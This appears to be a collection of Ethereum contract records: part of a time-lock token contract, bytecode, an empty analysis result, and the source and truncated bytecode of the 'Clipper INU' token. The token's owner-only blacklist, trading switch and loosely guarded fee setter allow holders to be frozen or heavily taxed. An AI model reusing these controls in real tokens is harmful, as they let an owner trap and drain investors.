lockTime = addressTimeLock[myaddress].lockList[idx].time;
return ( lockAmount,lockTime );
}
function transferWithLock( address _to, uint256 _value,uint32 _lockTime )public whenNotPaused {
assert( lockAdminList[msg.sender] == true );
assert( _lockTime > now );
transfer( _to, _value );
bool needNewLock = true;
for( uint32 i = 0 ; i< addressTimeLock[_to].lockList.length; i ++ ){
if( addressTimeLock[_to].lockList[i].time < now ){
addressTimeLock[_to].lockList[i].time = _lockTime;
addressTimeLock[_to].lockList[i].amount = _value;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockTime );
needNewLock = false;
break;
}
}
if( needNewLock == true ){
// add a lock
addressTimeLock[_to].lockList.length ++ ;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].time = _lockTime;
addressTimeLock[_to].lockList[(addressTimeLock[_to].lockList.length-1)].amount = _value;
emit TransferWithLockEvt( msg.sender,_to,_value,_lockTime);
}
}
function setLockAdmin(address _to,bool canUse)public onlyOwner{
assert( lockAdminList[_to] != canUse );
lockAdminList[_to] = canUse;
}
function canUseLock() public view returns (bool){
return lockAdminList[msg.sender];
}
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d85780631f49caac146101ff57806323b872dd14610214578063313ce5671461023e578063399d6465146102535780633f4ba83a1461027457806347ec81381461028957806356f2f140146102b85780635c975abb146102d95780636e53909a146102ee57806370a08231146103145780638456cb59146103355780638da5cb5b1461034a57806395d89b4114610116578063a9059cbb1461037b578063bb6e85db1461039f578063dd62ed3e146103e7578063f2fde38b1461040e575b600080fd5b34801561012257600080fd5b5061012b61042f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a0360043516602435610466565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610508565b60408051918252519081900360200190f35b34801561020b57600080fd5b506101c461050e565b34801561022057600080fd5b506101c4600160a060020a0360043581169060243516604435610525565b34801561024a57600080fd5b506101ed61058c565b34801561025f57600080fd5b506101ed600160a060020a0360043516610591565b34801561028057600080fd5b506101c4610659565b34801561029557600080fd5b506102b6600160a060020a036004351660243563ffffffff604435166106d8565b005b3480156102c457600080fd5b506101ed600160a060020a03600435166109b5565b3480156102e557600080fd5b506101c46109d0565b3480156102fa57600080fd5b506102b6600160a060020a036004351660243515156109e0565b34801561032057600080fd5b506101ed600160a060020a0360043516610a4b565b34801561034157600080fd5b506101c4610a66565b34801561035657600080fd5b5061035f610aea565b60408051600160a060020a039092168252519081900360200190f35b34801561038757600080fd5b506101c4600160a060020a0360043516602435610af9565b3480156103ab57600080fd5b506103c9600160a060020a036004351663ffffffff60243516610b55565b6040805192835263ffffffff90911660208301528051918290030190f35b3480156103f357600080fd5b506101ed600160a060020a0360043581169060243516610c14565b34801561041a57600080fd5b506102b6600160a060020a0360043516610c3f565b60408051808201909152600381527f4646430000000000000000000000000000000000000000000000000000000000602082015281565b60008115806104965750336000908152600260209081526040808320600160a060020a0387168452909152902054155b15156104a157600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b3360009081526005602052604090205460ff165b90565b60035460009060a060020a900460ff161561053f57600080fd5b8161057161054c33610591565b600160a060020a0387166000908152600160205260409020549063ffffffff610cd416565b101561057957fe5b610584848484610ce6565b949350505050565b601281565b600080805b600160a060020a03841660009081526004602052604090205463ffffffff8216101561065257600160a060020a0384166000908152600460205260409020805442919063ffffffff84169081106105e957fe5b600091825260209091206001600290920201015463ffffffff16111561064a57600160a060020a0384166000908152600460205260409020805463ffffffff831690811061063357fe5b906000526020600020906002020160000154820191505b600101610596565b5092915050565b600354600090600160a060020a0316331461067357600080fd5b60035460a060020a900460ff16151561068b57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a150600190565b600354600090819060a060020a900460ff16156106f457600080fd5b3360009081526005602052604090205460ff16151560011461071257fe5b4263ffffffff84161161072157fe5b61072b8585610af9565b5060019150600090505b600160a060020a03851660009081526004602052604090205463ffffffff8216101561089557600160a060020a0385166000908152600460205260409020805442919063ffffffff841690811061078857fe5b600091825260209091206001600290920201015463ffffffff16101561088d57600160a060020a0385166000908152600460205260409020805484919063ffffffff84169081106107d557fe5b60009182526020808320600292909202909101600101805463ffffffff191663ffffffff948516179055600160a060020a0388168252600490526040902080548692841690811061082257fe5b6000918252602091829020600290910201919091556040805186815263ffffffff8616928101929092528051600160a060020a0388169233927fcca13628a39fb6f93b19dcd48c288605d535eb491cacb43ab1a509aec720785a92918290030190a360009150610895565b600101610735565b600182151514156109ae57600160a060020a03851660009081526004602052604090208054906108c89060018301610eb4565b50600160a060020a0385166000908152600460205260409020805484919060001981019081106108f457fe5b60009182526020808320600292909202909101600101805463ffffffff191663ffffffff9490941693909317909255600160a060020a03871681526004909152604090208054859190600019810190811061094b57fe5b6000918252602091829020600290910201919091556040805186815263ffffffff8616928101929092528051600160a060020a0388169233927fcca13628a39fb6f93b19dcd48c288605d535eb491cacb43ab1a509aec720785a92918290030190a35b5050505050565b600160a060020a031660009081526004602052604090205490565b60035460a060020a900460ff1681565b600354600160a060020a031633146109f757600080fd5b600160a060020a03821660009081526005602052604090205460ff1615158115151415610a2057fe5b600160a060020a03919091166000908152600560205260409020805460ff1916911515919091179055565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a03163314610a8057600080fd5b60035460a060020a900460ff1615610a9757600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a150600190565b600354600160a060020a031681565b60035460009060a060020a900460ff1615610b1357600080fd5b81610b3c610b2033610591565b336000908152600160205260409020549063ffffffff610cd416565b1015610b4457fe5b610b4e8383610df5565b9392505050565b600160a060020a038216600090815260046020526040812054819063ffffffff841610610b8757506000905080610c0d565b600160a060020a0384166000908152600460205260409020805463ffffffff8516908110610bb157fe5b60009182526020808320600290920290910154600160a060020a03871683526004909152604090912080549193509063ffffffff8516908110610bf057fe5b600091825260209091206001600290920201015463ffffffff1690505b9250929050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610c5657600080fd5b600160a060020a0381161515610c6b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610ce057fe5b50900390565b600160a060020a03808416600090815260026020908152604080832033845282528083205493861683526001909152812054909190610d2b908463ffffffff610ea516565b600160a060020a038086166000908152600160205260408082209390935590871681522054610d60908463ffffffff610cd416565b600160a060020a038616600090815260016020526040902055610d89818463ffffffff610cd416565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b33600090815260016020526040812054610e15908363ffffffff610cd416565b3360009081526001602052604080822092909255600160a060020a03851681522054610e47908363ffffffff610ea516565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600082820183811015610b4e57fe5b815481835581811115610ee057600202816002028360005260206000209182019101610ee09190610ee5565b505050565b61052291905b80821115610f0e576000815560018101805463ffffffff19169055600201610eeb565b50905600a165627a7a72305820a1ac9638fa0d4e7a4bfd03277ed42ae42f8bf4294b234bd978884c0bd0c04ec30029
|
{"success": true, "error": null, "results": {}}
| 3,921 |
0x0B11E07Ab63357829D54B2EDA0A7D00d1464Fd98
|
/*
77777777777777777777777777777777777777777777777777777777777777777777777777777777
77777777777777777777777777777777777777777777777777777777777777777777777777777777
77777777777777777777777777777777777777777777777777777777777777777777777777777777
777777777777777777777777777777777777777777.777,777777777777777777777777777777777
7777777777777777777777777777777777777777.,,7I.,777777777777777777777777777777777
777777777777777777777777777777777777777,,,,7,,,777777777777777777777777777777777
7777777777777777777777777777777777777,,,7,,7,,,777777777777777777777777777777777
77777777777777777777777777777777777~,,,,7,,.7,,777777777777777777777777777777777
7777777777777777777777777777777777:,,,,,7.,,,,7777777777777777777777777777777777
7777777777777777777777777777777777:,,,,7777,,,,777777777777777777777777777777777
777777777777777777777777777777777,,,,,7777,,,,,777777777777777777777777777777777
7777777777777777777777777777777,.,,,,,77+.,,,,,,~7777777777777777777777777777777
777777777777777777777777777777.,,,,,,,,777777,,,,,777777777777777777777777777777
777777777777777777777777777 :.,,,,,,,,,.77777,,,,,,~7777777777777777777777777777
777777777777777777777777777.,,,.,,,,,77,,,,,.,,,.,.~7777777777777777777777777777
77777777777777777777777777777777,,,,,777,,,,,,,,,,777777777777777777777777777777
777777777777777777777777777777777,,,,7,,,.77777777777777777777777777777777777777
777777777777777777777777777777777.,,,.,,.777777777777777777777777777777777777777
7777777777777777777777777777777777.,,,.77777777777777777777777777777777777777777
7777777777777777777777777777777777:,.:777777777777777777777777777777777777777777
77777777777777777777777777777777777.77777777777777777777777777777777777777777777
77777777777777777777777777777777777777777777777777777777777777777777777777777777
77777777777777777777777777777777777777777777777777777777777777777777777777777777
77777777777777777777777777777777777777777777777777777777777777777777777777777777
77777777777777777777777777777777777777777777777777777777777777777777777777777777
* Website: http://www.clipperinu.com
* TG: https://t.me/ClipperINU
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ClipperINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Clipper INU";
string private constant _symbol = "CINU";
uint8 private constant _decimals = 12;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**12;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**12;
uint256 public _maxWalletSize = 20000000 * 10**12;
uint256 public _swapTokensAtAmount = 10000 * 10**12;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b357600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611970565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600b81526a436c697070657220494e5560a81b60208201525b60405161023b9190611a35565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a8a565b61069d565b604051901515815260200161023b565b34801561028057600080fd5b50601354610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5069d3c21bcecceda10000005b60405190815260200161023b565b3480156102df57600080fd5b506102646102ee366004611ab6565b6106b4565b3480156102ff57600080fd5b506102c560175481565b34801561031557600080fd5b50604051600c815260200161023b565b34801561033157600080fd5b50601454610294906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611af7565b61071d565b34801561037157600080fd5b506101fc610380366004611b24565b610768565b34801561039157600080fd5b506101fc6107b0565b3480156103a657600080fd5b506102c56103b5366004611af7565b6107dd565b3480156103c657600080fd5b506101fc6107ff565b3480156103db57600080fd5b506101fc6103ea366004611b3f565b610873565b3480156103fb57600080fd5b506102c560155481565b34801561041157600080fd5b506102c5610420366004611af7565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610294565b34801561045c57600080fd5b506101fc61046b366004611b24565b6108b5565b34801561047c57600080fd5b506102c560165481565b34801561049257600080fd5b5060408051808201909152600481526343494e5560e01b602082015261022e565b3480156104bf57600080fd5b506101fc6104ce366004611b3f565b610914565b3480156104df57600080fd5b506101fc6104ee366004611b58565b610943565b3480156104ff57600080fd5b5061026461050e366004611a8a565b61099d565b34801561051f57600080fd5b5061026461052e366004611af7565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc6109aa565b34801561056457600080fd5b506101fc610573366004611b8a565b6109e0565b34801561058457600080fd5b506102c5610593366004611c0e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b3f565b610a81565b3480156105ea57600080fd5b506101fc6105f9366004611af7565b610ab0565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c47565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c7c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611ca8565b915050610634565b5050565b60006106aa338484610b9a565b5060015b92915050565b60006106c1848484610cbe565b610713843361070e85604051806060016040528060288152602001611dc2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fa565b610b9a565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c47565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c47565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d057600080fd5b476107da81611234565b50565b6001600160a01b0381166000908152600260205260408120546106ae9061126e565b6000546001600160a01b031633146108295760405162461bcd60e51b815260040161062890611c47565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089d5760405162461bcd60e51b815260040161062890611c47565b6611c37937e0800081116108b057600080fd5b601555565b6000546001600160a01b031633146108df5760405162461bcd60e51b815260040161062890611c47565b601454600160a01b900460ff16156108f657600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161062890611c47565b601755565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161062890611c47565b600954821115806109805750600b548111155b61098957600080fd5b600893909355600a91909155600955600b55565b60006106aa338484610cbe565b6012546001600160a01b0316336001600160a01b0316146109ca57600080fd5b60006109d5306107dd565b90506107da816112f2565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161062890611c47565b60005b82811015610a7b578160056000868685818110610a2c57610a2c611c7c565b9050602002016020810190610a419190611af7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7381611ca8565b915050610a0d565b50505050565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161062890611c47565b601655565b6000546001600160a01b03163314610ada5760405162461bcd60e51b815260040161062890611c47565b6001600160a01b038116610b3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e1257506000546001600160a01b03838116911614155b156110f357601454600160a01b900460ff16610eab576000546001600160a01b03848116911614610eab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601554811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3f57506001600160a01b03821660009081526010602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6014546001600160a01b0383811691161461101c5760165481610fb9846107dd565b610fc39190611cc3565b1061101c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b6000611027306107dd565b6017546015549192508210159082106110405760155491505b8080156110575750601454600160a81b900460ff16155b801561107157506014546001600160a01b03868116911614155b80156110865750601454600160b01b900460ff165b80156110ab57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d057506001600160a01b03841660009081526005602052604090205460ff16155b156110f0576110de826112f2565b4780156110ee576110ee47611234565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113557506001600160a01b03831660009081526005602052604090205460ff165b8061116757506014546001600160a01b038581169